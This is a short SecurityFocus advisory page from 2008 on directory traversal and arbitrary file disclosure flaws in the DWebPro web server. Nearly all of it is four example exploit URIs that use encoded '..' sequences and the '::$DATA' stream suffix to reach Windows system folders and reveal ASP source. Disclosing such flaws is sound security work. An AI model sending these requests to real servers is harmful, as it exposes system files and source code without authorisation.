Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

DWebPro Directory Traversal Vulnerability and Arbitrary File Disclosure Vulnerability

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com:8080/..%5C/www/..%5C/www/..%5C/..%5C/..%5C/WINDOWS/
http://www.example.com:8080/..%2f..%2f..%2fWINDOWS%2f
http://www.example.com:8080/..\/www/500-100-js.asp::$DATA
http://www.example.com:8080/demos/aspclassic/asp_registry.asp::$DATA







 

Privacy Statement
Copyright 2008, SecurityFocus